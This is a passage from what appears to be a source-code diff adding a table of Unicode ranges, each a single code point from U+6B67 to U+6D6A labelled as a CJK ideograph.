+ [0x6b67, 0x6b67], /* CJK Ideograph */
+ [0x6b68, 0x6b68], /* CJK Ideograph */
+ [0x6b69, 0x6b69], /* CJK Ideograph */
+ [0x6b6a, 0x6b6a], /* CJK Ideograph */
+ [0x6b6b, 0x6b6b], /* CJK Ideograph */
+ [0x6b6c, 0x6b6c], /* CJK Ideograph */
+ [0x6b6d, 0x6b6d], /* CJK Ideograph */
+ [0x6b6e, 0x6b6e], /* CJK Ideograph */
+ [0x6b6f, 0x6b6f], /* CJK Ideograph */
+ [0x6b70, 0x6b70], /* CJK Ideograph */
+ [0x6b71, 0x6b71], /* CJK Ideograph */
+ [0x6b72, 0x6b72], /* CJK Ideograph */
+ [0x6b73, 0x6b73], /* CJK Ideograph */
+ [0x6b74, 0x6b74], /* CJK Ideograph */
+ [0x6b75, 0x6b75], /* CJK Ideograph */
+ [0x6b76, 0x6b76], /* CJK Ideograph */
+ [0x6b77, 0x6b77], /* CJK Ideograph */
+ [0x6b78, 0x6b78], /* CJK Ideograph */
+ [0x6b79, 0x6b79], /* CJK Ideograph */
+ [0x6b7a, 0x6b7a], /* CJK Ideograph */
+ [0x6b7b, 0x6b7b], /* CJK Ideograph */
+ [0x6b7c, 0x6b7c], /* CJK Ideograph */
+ [0x6b7d, 0x6b7d], /* CJK Ideograph */
+ [0x6b7e, 0x6b7e], /* CJK Ideograph */
+ [0x6b7f, 0x6b7f], /* CJK Ideograph */
+ [0x6b80, 0x6b80], /* CJK Ideograph */
+ [0x6b81, 0x6b81], /* CJK Ideograph */
+ [0x6b82, 0x6b82], /* CJK Ideograph */
+ [0x6b83, 0x6b83], /* CJK Ideograph */
+ [0x6b84, 0x6b84], /* CJK Ideograph */
+ [0x6b85, 0x6b85], /* CJK Ideograph */
+ [0x6b86, 0x6b86], /* CJK Ideograph */
+ [0x6b87, 0x6b87], /* CJK Ideograph */
+ [0x6b88, 0x6b88], /* CJK Ideograph */
+ [0x6b89, 0x6b89], /* CJK Ideograph */
+ [0x6b8a, 0x6b8a], /* CJK Ideograph */
+ [0x6b8b, 0x6b8b], /* CJK Ideograph */
+ [0x6b8c, 0x6b8c], /* CJK Ideograph */
+ [0x6b8d, 0x6b8d], /* CJK Ideograph */
+ [0x6b8e, 0x6b8e], /* CJK Ideograph */
+ [0x6b8f, 0x6b8f], /* CJK Ideograph */
+ [0x6b90, 0x6b90], /* CJK Ideograph */
+ [0x6b91, 0x6b91], /* CJK Ideograph */
+ [0x6b92, 0x6b92], /* CJK Ideograph */
+ [0x6b93, 0x6b93], /* CJK Ideograph */
+ [0x6b94, 0x6b94], /* CJK Ideograph */
+ [0x6b95, 0x6b95], /* CJK Ideograph */
+ [0x6b96, 0x6b96], /* CJK Ideograph */
+ [0x6b97, 0x6b97], /* CJK Ideograph */
+ [0x6b98, 0x6b98], /* CJK Ideograph */
+ [0x6b99, 0x6b99], /* CJK Ideograph */
+ [0x6b9a, 0x6b9a], /* CJK Ideograph */
+ [0x6b9b, 0x6b9b], /* CJK Ideograph */
+ [0x6b9c, 0x6b9c], /* CJK Ideograph */
+ [0x6b9d, 0x6b9d], /* CJK Ideograph */
+ [0x6b9e, 0x6b9e], /* CJK Ideograph */
+ [0x6b9f, 0x6b9f], /* CJK Ideograph */
+ [0x6ba0, 0x6ba0], /* CJK Ideograph */
+ [0x6ba1, 0x6ba1], /* CJK Ideograph */
+ [0x6ba2, 0x6ba2], /* CJK Ideograph */
+ [0x6ba3, 0x6ba3], /* CJK Ideograph */
+ [0x6ba4, 0x6ba4], /* CJK Ideograph */
+ [0x6ba5, 0x6ba5], /* CJK Ideograph */
+ [0x6ba6, 0x6ba6], /* CJK Ideograph */
+ [0x6ba7, 0x6ba7], /* CJK Ideograph */
+ [0x6ba8, 0x6ba8], /* CJK Ideograph */
+ [0x6ba9, 0x6ba9], /* CJK Ideograph */
+ [0x6baa, 0x6baa], /* CJK Ideograph */
+ [0x6bab, 0x6bab], /* CJK Ideograph */
+ [0x6bac, 0x6bac], /* CJK Ideograph */
+ [0x6bad, 0x6bad], /* CJK Ideograph */
+ [0x6bae, 0x6bae], /* CJK Ideograph */
+ [0x6baf, 0x6baf], /* CJK Ideograph */
+ [0x6bb0, 0x6bb0], /* CJK Ideograph */
+ [0x6bb1, 0x6bb1], /* CJK Ideograph */
+ [0x6bb2, 0x6bb2], /* CJK Ideograph */
+ [0x6bb3, 0x6bb3], /* CJK Ideograph */
+ [0x6bb4, 0x6bb4], /* CJK Ideograph */
+ [0x6bb5, 0x6bb5], /* CJK Ideograph */
+ [0x6bb6, 0x6bb6], /* CJK Ideograph */
+ [0x6bb7, 0x6bb7], /* CJK Ideograph */
+ [0x6bb8, 0x6bb8], /* CJK Ideograph */
+ [0x6bb9, 0x6bb9], /* CJK Ideograph */
+ [0x6bba, 0x6bba], /* CJK Ideograph */
+ [0x6bbb, 0x6bbb], /* CJK Ideograph */
+ [0x6bbc, 0x6bbc], /* CJK Ideograph */
+ [0x6bbd, 0x6bbd], /* CJK Ideograph */
+ [0x6bbe, 0x6bbe], /* CJK Ideograph */
+ [0x6bbf, 0x6bbf], /* CJK Ideograph */
+ [0x6bc0, 0x6bc0], /* CJK Ideograph */
+ [0x6bc1, 0x6bc1], /* CJK Ideograph */
+ [0x6bc2, 0x6bc2], /* CJK Ideograph */
+ [0x6bc3, 0x6bc3], /* CJK Ideograph */
+ [0x6bc4, 0x6bc4], /* CJK Ideograph */
+ [0x6bc5, 0x6bc5], /* CJK Ideograph */
+ [0x6bc6, 0x6bc6], /* CJK Ideograph */
+ [0x6bc7, 0x6bc7], /* CJK Ideograph */
+ [0x6bc8, 0x6bc8], /* CJK Ideograph */
+ [0x6bc9, 0x6bc9], /* CJK Ideograph */
+ [0x6bca, 0x6bca], /* CJK Ideograph */
+ [0x6bcb, 0x6bcb], /* CJK Ideograph */
+ [0x6bcc, 0x6bcc], /* CJK Ideograph */
+ [0x6bcd, 0x6bcd], /* CJK Ideograph */
+ [0x6bce, 0x6bce], /* CJK Ideograph */
+ [0x6bcf, 0x6bcf], /* CJK Ideograph */
+ [0x6bd0, 0x6bd0], /* CJK Ideograph */
+ [0x6bd1, 0x6bd1], /* CJK Ideograph */
+ [0x6bd2, 0x6bd2], /* CJK Ideograph */
+ [0x6bd3, 0x6bd3], /* CJK Ideograph */
+ [0x6bd4, 0x6bd4], /* CJK Ideograph */
+ [0x6bd5, 0x6bd5], /* CJK Ideograph */
+ [0x6bd6, 0x6bd6], /* CJK Ideograph */
+ [0x6bd7, 0x6bd7], /* CJK Ideograph */
+ [0x6bd8, 0x6bd8], /* CJK Ideograph */
+ [0x6bd9, 0x6bd9], /* CJK Ideograph */
+ [0x6bda, 0x6bda], /* CJK Ideograph */
+ [0x6bdb, 0x6bdb], /* CJK Ideograph */
+ [0x6bdc, 0x6bdc], /* CJK Ideograph */
+ [0x6bdd, 0x6bdd], /* CJK Ideograph */
+ [0x6bde, 0x6bde], /* CJK Ideograph */
+ [0x6bdf, 0x6bdf], /* CJK Ideograph */
+ [0x6be0, 0x6be0], /* CJK Ideograph */
+ [0x6be1, 0x6be1], /* CJK Ideograph */
+ [0x6be2, 0x6be2], /* CJK Ideograph */
+ [0x6be3, 0x6be3], /* CJK Ideograph */
+ [0x6be4, 0x6be4], /* CJK Ideograph */
+ [0x6be5, 0x6be5], /* CJK Ideograph */
+ [0x6be6, 0x6be6], /* CJK Ideograph */
+ [0x6be7, 0x6be7], /* CJK Ideograph */
+ [0x6be8, 0x6be8], /* CJK Ideograph */
+ [0x6be9, 0x6be9], /* CJK Ideograph */
+ [0x6bea, 0x6bea], /* CJK Ideograph */
+ [0x6beb, 0x6beb], /* CJK Ideograph */
+ [0x6bec, 0x6bec], /* CJK Ideograph */
+ [0x6bed, 0x6bed], /* CJK Ideograph */
+ [0x6bee, 0x6bee], /* CJK Ideograph */
+ [0x6bef, 0x6bef], /* CJK Ideograph */
+ [0x6bf0, 0x6bf0], /* CJK Ideograph */
+ [0x6bf1, 0x6bf1], /* CJK Ideograph */
+ [0x6bf2, 0x6bf2], /* CJK Ideograph */
+ [0x6bf3, 0x6bf3], /* CJK Ideograph */
+ [0x6bf4, 0x6bf4], /* CJK Ideograph */
+ [0x6bf5, 0x6bf5], /* CJK Ideograph */
+ [0x6bf6, 0x6bf6], /* CJK Ideograph */
+ [0x6bf7, 0x6bf7], /* CJK Ideograph */
+ [0x6bf8, 0x6bf8], /* CJK Ideograph */
+ [0x6bf9, 0x6bf9], /* CJK Ideograph */
+ [0x6bfa, 0x6bfa], /* CJK Ideograph */
+ [0x6bfb, 0x6bfb], /* CJK Ideograph */
+ [0x6bfc, 0x6bfc], /* CJK Ideograph */
+ [0x6bfd, 0x6bfd], /* CJK Ideograph */
+ [0x6bfe, 0x6bfe], /* CJK Ideograph */
+ [0x6bff, 0x6bff], /* CJK Ideograph */
+ [0x6c00, 0x6c00], /* CJK Ideograph */
+ [0x6c01, 0x6c01], /* CJK Ideograph */
+ [0x6c02, 0x6c02], /* CJK Ideograph */
+ [0x6c03, 0x6c03], /* CJK Ideograph */
+ [0x6c04, 0x6c04], /* CJK Ideograph */
+ [0x6c05, 0x6c05], /* CJK Ideograph */
+ [0x6c06, 0x6c06], /* CJK Ideograph */
+ [0x6c07, 0x6c07], /* CJK Ideograph */
+ [0x6c08, 0x6c08], /* CJK Ideograph */
+ [0x6c09, 0x6c09], /* CJK Ideograph */
+ [0x6c0a, 0x6c0a], /* CJK Ideograph */
+ [0x6c0b, 0x6c0b], /* CJK Ideograph */
+ [0x6c0c, 0x6c0c], /* CJK Ideograph */
+ [0x6c0d, 0x6c0d], /* CJK Ideograph */
+ [0x6c0e, 0x6c0e], /* CJK Ideograph */
+ [0x6c0f, 0x6c0f], /* CJK Ideograph */
+ [0x6c10, 0x6c10], /* CJK Ideograph */
+ [0x6c11, 0x6c11], /* CJK Ideograph */
+ [0x6c12, 0x6c12], /* CJK Ideograph */
+ [0x6c13, 0x6c13], /* CJK Ideograph */
+ [0x6c14, 0x6c14], /* CJK Ideograph */
+ [0x6c15, 0x6c15], /* CJK Ideograph */
+ [0x6c16, 0x6c16], /* CJK Ideograph */
+ [0x6c17, 0x6c17], /* CJK Ideograph */
+ [0x6c18, 0x6c18], /* CJK Ideograph */
+ [0x6c19, 0x6c19], /* CJK Ideograph */
+ [0x6c1a, 0x6c1a], /* CJK Ideograph */
+ [0x6c1b, 0x6c1b], /* CJK Ideograph */
+ [0x6c1c, 0x6c1c], /* CJK Ideograph */
+ [0x6c1d, 0x6c1d], /* CJK Ideograph */
+ [0x6c1e, 0x6c1e], /* CJK Ideograph */
+ [0x6c1f, 0x6c1f], /* CJK Ideograph */
+ [0x6c20, 0x6c20], /* CJK Ideograph */
+ [0x6c21, 0x6c21], /* CJK Ideograph */
+ [0x6c22, 0x6c22], /* CJK Ideograph */
+ [0x6c23, 0x6c23], /* CJK Ideograph */
+ [0x6c24, 0x6c24], /* CJK Ideograph */
+ [0x6c25, 0x6c25], /* CJK Ideograph */
+ [0x6c26, 0x6c26], /* CJK Ideograph */
+ [0x6c27, 0x6c27], /* CJK Ideograph */
+ [0x6c28, 0x6c28], /* CJK Ideograph */
+ [0x6c29, 0x6c29], /* CJK Ideograph */
+ [0x6c2a, 0x6c2a], /* CJK Ideograph */
+ [0x6c2b, 0x6c2b], /* CJK Ideograph */
+ [0x6c2c, 0x6c2c], /* CJK Ideograph */
+ [0x6c2d, 0x6c2d], /* CJK Ideograph */
+ [0x6c2e, 0x6c2e], /* CJK Ideograph */
+ [0x6c2f, 0x6c2f], /* CJK Ideograph */
+ [0x6c30, 0x6c30], /* CJK Ideograph */
+ [0x6c31, 0x6c31], /* CJK Ideograph */
+ [0x6c32, 0x6c32], /* CJK Ideograph */
+ [0x6c33, 0x6c33], /* CJK Ideograph */
+ [0x6c34, 0x6c34], /* CJK Ideograph */
+ [0x6c35, 0x6c35], /* CJK Ideograph */
+ [0x6c36, 0x6c36], /* CJK Ideograph */
+ [0x6c37, 0x6c37], /* CJK Ideograph */
+ [0x6c38, 0x6c38], /* CJK Ideograph */
+ [0x6c39, 0x6c39], /* CJK Ideograph */
+ [0x6c3a, 0x6c3a], /* CJK Ideograph */
+ [0x6c3b, 0x6c3b], /* CJK Ideograph */
+ [0x6c3c, 0x6c3c], /* CJK Ideograph */
+ [0x6c3d, 0x6c3d], /* CJK Ideograph */
+ [0x6c3e, 0x6c3e], /* CJK Ideograph */
+ [0x6c3f, 0x6c3f], /* CJK Ideograph */
+ [0x6c40, 0x6c40], /* CJK Ideograph */
+ [0x6c41, 0x6c41], /* CJK Ideograph */
+ [0x6c42, 0x6c42], /* CJK Ideograph */
+ [0x6c43, 0x6c43], /* CJK Ideograph */
+ [0x6c44, 0x6c44], /* CJK Ideograph */
+ [0x6c45, 0x6c45], /* CJK Ideograph */
+ [0x6c46, 0x6c46], /* CJK Ideograph */
+ [0x6c47, 0x6c47], /* CJK Ideograph */
+ [0x6c48, 0x6c48], /* CJK Ideograph */
+ [0x6c49, 0x6c49], /* CJK Ideograph */
+ [0x6c4a, 0x6c4a], /* CJK Ideograph */
+ [0x6c4b, 0x6c4b], /* CJK Ideograph */
+ [0x6c4c, 0x6c4c], /* CJK Ideograph */
+ [0x6c4d, 0x6c4d], /* CJK Ideograph */
+ [0x6c4e, 0x6c4e], /* CJK Ideograph */
+ [0x6c4f, 0x6c4f], /* CJK Ideograph */
+ [0x6c50, 0x6c50], /* CJK Ideograph */
+ [0x6c51, 0x6c51], /* CJK Ideograph */
+ [0x6c52, 0x6c52], /* CJK Ideograph */
+ [0x6c53, 0x6c53], /* CJK Ideograph */
+ [0x6c54, 0x6c54], /* CJK Ideograph */
+ [0x6c55, 0x6c55], /* CJK Ideograph */
+ [0x6c56, 0x6c56], /* CJK Ideograph */
+ [0x6c57, 0x6c57], /* CJK Ideograph */
+ [0x6c58, 0x6c58], /* CJK Ideograph */
+ [0x6c59, 0x6c59], /* CJK Ideograph */
+ [0x6c5a, 0x6c5a], /* CJK Ideograph */
+ [0x6c5b, 0x6c5b], /* CJK Ideograph */
+ [0x6c5c, 0x6c5c], /* CJK Ideograph */
+ [0x6c5d, 0x6c5d], /* CJK Ideograph */
+ [0x6c5e, 0x6c5e], /* CJK Ideograph */
+ [0x6c5f, 0x6c5f], /* CJK Ideograph */
+ [0x6c60, 0x6c60], /* CJK Ideograph */
+ [0x6c61, 0x6c61], /* CJK Ideograph */
+ [0x6c62, 0x6c62], /* CJK Ideograph */
+ [0x6c63, 0x6c63], /* CJK Ideograph */
+ [0x6c64, 0x6c64], /* CJK Ideograph */
+ [0x6c65, 0x6c65], /* CJK Ideograph */
+ [0x6c66, 0x6c66], /* CJK Ideograph */
+ [0x6c67, 0x6c67], /* CJK Ideograph */
+ [0x6c68, 0x6c68], /* CJK Ideograph */
+ [0x6c69, 0x6c69], /* CJK Ideograph */
+ [0x6c6a, 0x6c6a], /* CJK Ideograph */
+ [0x6c6b, 0x6c6b], /* CJK Ideograph */
+ [0x6c6c, 0x6c6c], /* CJK Ideograph */
+ [0x6c6d, 0x6c6d], /* CJK Ideograph */
+ [0x6c6e, 0x6c6e], /* CJK Ideograph */
+ [0x6c6f, 0x6c6f], /* CJK Ideograph */
+ [0x6c70, 0x6c70], /* CJK Ideograph */
+ [0x6c71, 0x6c71], /* CJK Ideograph */
+ [0x6c72, 0x6c72], /* CJK Ideograph */
+ [0x6c73, 0x6c73], /* CJK Ideograph */
+ [0x6c74, 0x6c74], /* CJK Ideograph */
+ [0x6c75, 0x6c75], /* CJK Ideograph */
+ [0x6c76, 0x6c76], /* CJK Ideograph */
+ [0x6c77, 0x6c77], /* CJK Ideograph */
+ [0x6c78, 0x6c78], /* CJK Ideograph */
+ [0x6c79, 0x6c79], /* CJK Ideograph */
+ [0x6c7a, 0x6c7a], /* CJK Ideograph */
+ [0x6c7b, 0x6c7b], /* CJK Ideograph */
+ [0x6c7c, 0x6c7c], /* CJK Ideograph */
+ [0x6c7d, 0x6c7d], /* CJK Ideograph */
+ [0x6c7e, 0x6c7e], /* CJK Ideograph */
+ [0x6c7f, 0x6c7f], /* CJK Ideograph */
+ [0x6c80, 0x6c80], /* CJK Ideograph */
+ [0x6c81, 0x6c81], /* CJK Ideograph */
+ [0x6c82, 0x6c82], /* CJK Ideograph */
+ [0x6c83, 0x6c83], /* CJK Ideograph */
+ [0x6c84, 0x6c84], /* CJK Ideograph */
+ [0x6c85, 0x6c85], /* CJK Ideograph */
+ [0x6c86, 0x6c86], /* CJK Ideograph */
+ [0x6c87, 0x6c87], /* CJK Ideograph */
+ [0x6c88, 0x6c88], /* CJK Ideograph */
+ [0x6c89, 0x6c89], /* CJK Ideograph */
+ [0x6c8a, 0x6c8a], /* CJK Ideograph */
+ [0x6c8b, 0x6c8b], /* CJK Ideograph */
+ [0x6c8c, 0x6c8c], /* CJK Ideograph */
+ [0x6c8d, 0x6c8d], /* CJK Ideograph */
+ [0x6c8e, 0x6c8e], /* CJK Ideograph */
+ [0x6c8f, 0x6c8f], /* CJK Ideograph */
+ [0x6c90, 0x6c90], /* CJK Ideograph */
+ [0x6c91, 0x6c91], /* CJK Ideograph */
+ [0x6c92, 0x6c92], /* CJK Ideograph */
+ [0x6c93, 0x6c93], /* CJK Ideograph */
+ [0x6c94, 0x6c94], /* CJK Ideograph */
+ [0x6c95, 0x6c95], /* CJK Ideograph */
+ [0x6c96, 0x6c96], /* CJK Ideograph */
+ [0x6c97, 0x6c97], /* CJK Ideograph */
+ [0x6c98, 0x6c98], /* CJK Ideograph */
+ [0x6c99, 0x6c99], /* CJK Ideograph */
+ [0x6c9a, 0x6c9a], /* CJK Ideograph */
+ [0x6c9b, 0x6c9b], /* CJK Ideograph */
+ [0x6c9c, 0x6c9c], /* CJK Ideograph */
+ [0x6c9d, 0x6c9d], /* CJK Ideograph */
+ [0x6c9e, 0x6c9e], /* CJK Ideograph */
+ [0x6c9f, 0x6c9f], /* CJK Ideograph */
+ [0x6ca0, 0x6ca0], /* CJK Ideograph */
+ [0x6ca1, 0x6ca1], /* CJK Ideograph */
+ [0x6ca2, 0x6ca2], /* CJK Ideograph */
+ [0x6ca3, 0x6ca3], /* CJK Ideograph */
+ [0x6ca4, 0x6ca4], /* CJK Ideograph */
+ [0x6ca5, 0x6ca5], /* CJK Ideograph */
+ [0x6ca6, 0x6ca6], /* CJK Ideograph */
+ [0x6ca7, 0x6ca7], /* CJK Ideograph */
+ [0x6ca8, 0x6ca8], /* CJK Ideograph */
+ [0x6ca9, 0x6ca9], /* CJK Ideograph */
+ [0x6caa, 0x6caa], /* CJK Ideograph */
+ [0x6cab, 0x6cab], /* CJK Ideograph */
+ [0x6cac, 0x6cac], /* CJK Ideograph */
+ [0x6cad, 0x6cad], /* CJK Ideograph */
+ [0x6cae, 0x6cae], /* CJK Ideograph */
+ [0x6caf, 0x6caf], /* CJK Ideograph */
+ [0x6cb0, 0x6cb0], /* CJK Ideograph */
+ [0x6cb1, 0x6cb1], /* CJK Ideograph */
+ [0x6cb2, 0x6cb2], /* CJK Ideograph */
+ [0x6cb3, 0x6cb3], /* CJK Ideograph */
+ [0x6cb4, 0x6cb4], /* CJK Ideograph */
+ [0x6cb5, 0x6cb5], /* CJK Ideograph */
+ [0x6cb6, 0x6cb6], /* CJK Ideograph */
+ [0x6cb7, 0x6cb7], /* CJK Ideograph */
+ [0x6cb8, 0x6cb8], /* CJK Ideograph */
+ [0x6cb9, 0x6cb9], /* CJK Ideograph */
+ [0x6cba, 0x6cba], /* CJK Ideograph */
+ [0x6cbb, 0x6cbb], /* CJK Ideograph */
+ [0x6cbc, 0x6cbc], /* CJK Ideograph */
+ [0x6cbd, 0x6cbd], /* CJK Ideograph */
+ [0x6cbe, 0x6cbe], /* CJK Ideograph */
+ [0x6cbf, 0x6cbf], /* CJK Ideograph */
+ [0x6cc0, 0x6cc0], /* CJK Ideograph */
+ [0x6cc1, 0x6cc1], /* CJK Ideograph */
+ [0x6cc2, 0x6cc2], /* CJK Ideograph */
+ [0x6cc3, 0x6cc3], /* CJK Ideograph */
+ [0x6cc4, 0x6cc4], /* CJK Ideograph */
+ [0x6cc5, 0x6cc5], /* CJK Ideograph */
+ [0x6cc6, 0x6cc6], /* CJK Ideograph */
+ [0x6cc7, 0x6cc7], /* CJK Ideograph */
+ [0x6cc8, 0x6cc8], /* CJK Ideograph */
+ [0x6cc9, 0x6cc9], /* CJK Ideograph */
+ [0x6cca, 0x6cca], /* CJK Ideograph */
+ [0x6ccb, 0x6ccb], /* CJK Ideograph */
+ [0x6ccc, 0x6ccc], /* CJK Ideograph */
+ [0x6ccd, 0x6ccd], /* CJK Ideograph */
+ [0x6cce, 0x6cce], /* CJK Ideograph */
+ [0x6ccf, 0x6ccf], /* CJK Ideograph */
+ [0x6cd0, 0x6cd0], /* CJK Ideograph */
+ [0x6cd1, 0x6cd1], /* CJK Ideograph */
+ [0x6cd2, 0x6cd2], /* CJK Ideograph */
+ [0x6cd3, 0x6cd3], /* CJK Ideograph */
+ [0x6cd4, 0x6cd4], /* CJK Ideograph */
+ [0x6cd5, 0x6cd5], /* CJK Ideograph */
+ [0x6cd6, 0x6cd6], /* CJK Ideograph */
+ [0x6cd7, 0x6cd7], /* CJK Ideograph */
+ [0x6cd8, 0x6cd8], /* CJK Ideograph */
+ [0x6cd9, 0x6cd9], /* CJK Ideograph */
+ [0x6cda, 0x6cda], /* CJK Ideograph */
+ [0x6cdb, 0x6cdb], /* CJK Ideograph */
+ [0x6cdc, 0x6cdc], /* CJK Ideograph */
+ [0x6cdd, 0x6cdd], /* CJK Ideograph */
+ [0x6cde, 0x6cde], /* CJK Ideograph */
+ [0x6cdf, 0x6cdf], /* CJK Ideograph */
+ [0x6ce0, 0x6ce0], /* CJK Ideograph */
+ [0x6ce1, 0x6ce1], /* CJK Ideograph */
+ [0x6ce2, 0x6ce2], /* CJK Ideograph */
+ [0x6ce3, 0x6ce3], /* CJK Ideograph */
+ [0x6ce4, 0x6ce4], /* CJK Ideograph */
+ [0x6ce5, 0x6ce5], /* CJK Ideograph */
+ [0x6ce6, 0x6ce6], /* CJK Ideograph */
+ [0x6ce7, 0x6ce7], /* CJK Ideograph */
+ [0x6ce8, 0x6ce8], /* CJK Ideograph */
+ [0x6ce9, 0x6ce9], /* CJK Ideograph */
+ [0x6cea, 0x6cea], /* CJK Ideograph */
+ [0x6ceb, 0x6ceb], /* CJK Ideograph */
+ [0x6cec, 0x6cec], /* CJK Ideograph */
+ [0x6ced, 0x6ced], /* CJK Ideograph */
+ [0x6cee, 0x6cee], /* CJK Ideograph */
+ [0x6cef, 0x6cef], /* CJK Ideograph */
+ [0x6cf0, 0x6cf0], /* CJK Ideograph */
+ [0x6cf1, 0x6cf1], /* CJK Ideograph */
+ [0x6cf2, 0x6cf2], /* CJK Ideograph */
+ [0x6cf3, 0x6cf3], /* CJK Ideograph */
+ [0x6cf4, 0x6cf4], /* CJK Ideograph */
+ [0x6cf5, 0x6cf5], /* CJK Ideograph */
+ [0x6cf6, 0x6cf6], /* CJK Ideograph */
+ [0x6cf7, 0x6cf7], /* CJK Ideograph */
+ [0x6cf8, 0x6cf8], /* CJK Ideograph */
+ [0x6cf9, 0x6cf9], /* CJK Ideograph */
+ [0x6cfa, 0x6cfa], /* CJK Ideograph */
+ [0x6cfb, 0x6cfb], /* CJK Ideograph */
+ [0x6cfc, 0x6cfc], /* CJK Ideograph */
+ [0x6cfd, 0x6cfd], /* CJK Ideograph */
+ [0x6cfe, 0x6cfe], /* CJK Ideograph */
+ [0x6cff, 0x6cff], /* CJK Ideograph */
+ [0x6d00, 0x6d00], /* CJK Ideograph */
+ [0x6d01, 0x6d01], /* CJK Ideograph */
+ [0x6d02, 0x6d02], /* CJK Ideograph */
+ [0x6d03, 0x6d03], /* CJK Ideograph */
+ [0x6d04, 0x6d04], /* CJK Ideograph */
+ [0x6d05, 0x6d05], /* CJK Ideograph */
+ [0x6d06, 0x6d06], /* CJK Ideograph */
+ [0x6d07, 0x6d07], /* CJK Ideograph */
+ [0x6d08, 0x6d08], /* CJK Ideograph */
+ [0x6d09, 0x6d09], /* CJK Ideograph */
+ [0x6d0a, 0x6d0a], /* CJK Ideograph */
+ [0x6d0b, 0x6d0b], /* CJK Ideograph */
+ [0x6d0c, 0x6d0c], /* CJK Ideograph */
+ [0x6d0d, 0x6d0d], /* CJK Ideograph */
+ [0x6d0e, 0x6d0e], /* CJK Ideograph */
+ [0x6d0f, 0x6d0f], /* CJK Ideograph */
+ [0x6d10, 0x6d10], /* CJK Ideograph */
+ [0x6d11, 0x6d11], /* CJK Ideograph */
+ [0x6d12, 0x6d12], /* CJK Ideograph */
+ [0x6d13, 0x6d13], /* CJK Ideograph */
+ [0x6d14, 0x6d14], /* CJK Ideograph */
+ [0x6d15, 0x6d15], /* CJK Ideograph */
+ [0x6d16, 0x6d16], /* CJK Ideograph */
+ [0x6d17, 0x6d17], /* CJK Ideograph */
+ [0x6d18, 0x6d18], /* CJK Ideograph */
+ [0x6d19, 0x6d19], /* CJK Ideograph */
+ [0x6d1a, 0x6d1a], /* CJK Ideograph */
+ [0x6d1b, 0x6d1b], /* CJK Ideograph */
+ [0x6d1c, 0x6d1c], /* CJK Ideograph */
+ [0x6d1d, 0x6d1d], /* CJK Ideograph */
+ [0x6d1e, 0x6d1e], /* CJK Ideograph */
+ [0x6d1f, 0x6d1f], /* CJK Ideograph */
+ [0x6d20, 0x6d20], /* CJK Ideograph */
+ [0x6d21, 0x6d21], /* CJK Ideograph */
+ [0x6d22, 0x6d22], /* CJK Ideograph */
+ [0x6d23, 0x6d23], /* CJK Ideograph */
+ [0x6d24, 0x6d24], /* CJK Ideograph */
+ [0x6d25, 0x6d25], /* CJK Ideograph */
+ [0x6d26, 0x6d26], /* CJK Ideograph */
+ [0x6d27, 0x6d27], /* CJK Ideograph */
+ [0x6d28, 0x6d28], /* CJK Ideograph */
+ [0x6d29, 0x6d29], /* CJK Ideograph */
+ [0x6d2a, 0x6d2a], /* CJK Ideograph */
+ [0x6d2b, 0x6d2b], /* CJK Ideograph */
+ [0x6d2c, 0x6d2c], /* CJK Ideograph */
+ [0x6d2d, 0x6d2d], /* CJK Ideograph */
+ [0x6d2e, 0x6d2e], /* CJK Ideograph */
+ [0x6d2f, 0x6d2f], /* CJK Ideograph */
+ [0x6d30, 0x6d30], /* CJK Ideograph */
+ [0x6d31, 0x6d31], /* CJK Ideograph */
+ [0x6d32, 0x6d32], /* CJK Ideograph */
+ [0x6d33, 0x6d33], /* CJK Ideograph */
+ [0x6d34, 0x6d34], /* CJK Ideograph */
+ [0x6d35, 0x6d35], /* CJK Ideograph */
+ [0x6d36, 0x6d36], /* CJK Ideograph */
+ [0x6d37, 0x6d37], /* CJK Ideograph */
+ [0x6d38, 0x6d38], /* CJK Ideograph */
+ [0x6d39, 0x6d39], /* CJK Ideograph */
+ [0x6d3a, 0x6d3a], /* CJK Ideograph */
+ [0x6d3b, 0x6d3b], /* CJK Ideograph */
+ [0x6d3c, 0x6d3c], /* CJK Ideograph */
+ [0x6d3d, 0x6d3d], /* CJK Ideograph */
+ [0x6d3e, 0x6d3e], /* CJK Ideograph */
+ [0x6d3f, 0x6d3f], /* CJK Ideograph */
+ [0x6d40, 0x6d40], /* CJK Ideograph */
+ [0x6d41, 0x6d41], /* CJK Ideograph */
+ [0x6d42, 0x6d42], /* CJK Ideograph */
+ [0x6d43, 0x6d43], /* CJK Ideograph */
+ [0x6d44, 0x6d44], /* CJK Ideograph */
+ [0x6d45, 0x6d45], /* CJK Ideograph */
+ [0x6d46, 0x6d46], /* CJK Ideograph */
+ [0x6d47, 0x6d47], /* CJK Ideograph */
+ [0x6d48, 0x6d48], /* CJK Ideograph */
+ [0x6d49, 0x6d49], /* CJK Ideograph */
+ [0x6d4a, 0x6d4a], /* CJK Ideograph */
+ [0x6d4b, 0x6d4b], /* CJK Ideograph */
+ [0x6d4c, 0x6d4c], /* CJK Ideograph */
+ [0x6d4d, 0x6d4d], /* CJK Ideograph */
+ [0x6d4e, 0x6d4e], /* CJK Ideograph */
+ [0x6d4f, 0x6d4f], /* CJK Ideograph */
+ [0x6d50, 0x6d50], /* CJK Ideograph */
+ [0x6d51, 0x6d51], /* CJK Ideograph */
+ [0x6d52, 0x6d52], /* CJK Ideograph */
+ [0x6d53, 0x6d53], /* CJK Ideograph */
+ [0x6d54, 0x6d54], /* CJK Ideograph */
+ [0x6d55, 0x6d55], /* CJK Ideograph */
+ [0x6d56, 0x6d56], /* CJK Ideograph */
+ [0x6d57, 0x6d57], /* CJK Ideograph */
+ [0x6d58, 0x6d58], /* CJK Ideograph */
+ [0x6d59, 0x6d59], /* CJK Ideograph */
+ [0x6d5a, 0x6d5a], /* CJK Ideograph */
+ [0x6d5b, 0x6d5b], /* CJK Ideograph */
+ [0x6d5c, 0x6d5c], /* CJK Ideograph */
+ [0x6d5d, 0x6d5d], /* CJK Ideograph */
+ [0x6d5e, 0x6d5e], /* CJK Ideograph */
+ [0x6d5f, 0x6d5f], /* CJK Ideograph */
+ [0x6d60, 0x6d60], /* CJK Ideograph */
+ [0x6d61, 0x6d61], /* CJK Ideograph */
+ [0x6d62, 0x6d62], /* CJK Ideograph */
+ [0x6d63, 0x6d63], /* CJK Ideograph */
+ [0x6d64, 0x6d64], /* CJK Ideograph */
+ [0x6d65, 0x6d65], /* CJK Ideograph */
+ [0x6d66, 0x6d66], /* CJK Ideograph */
+ [0x6d67, 0x6d67], /* CJK Ideograph */
+ [0x6d68, 0x6d68], /* CJK Ideograph */
+ [0x6d69, 0x6d69], /* CJK Ideograph */
+ [0x6d6a, 0x6d6a], /* CJK Ideograph */
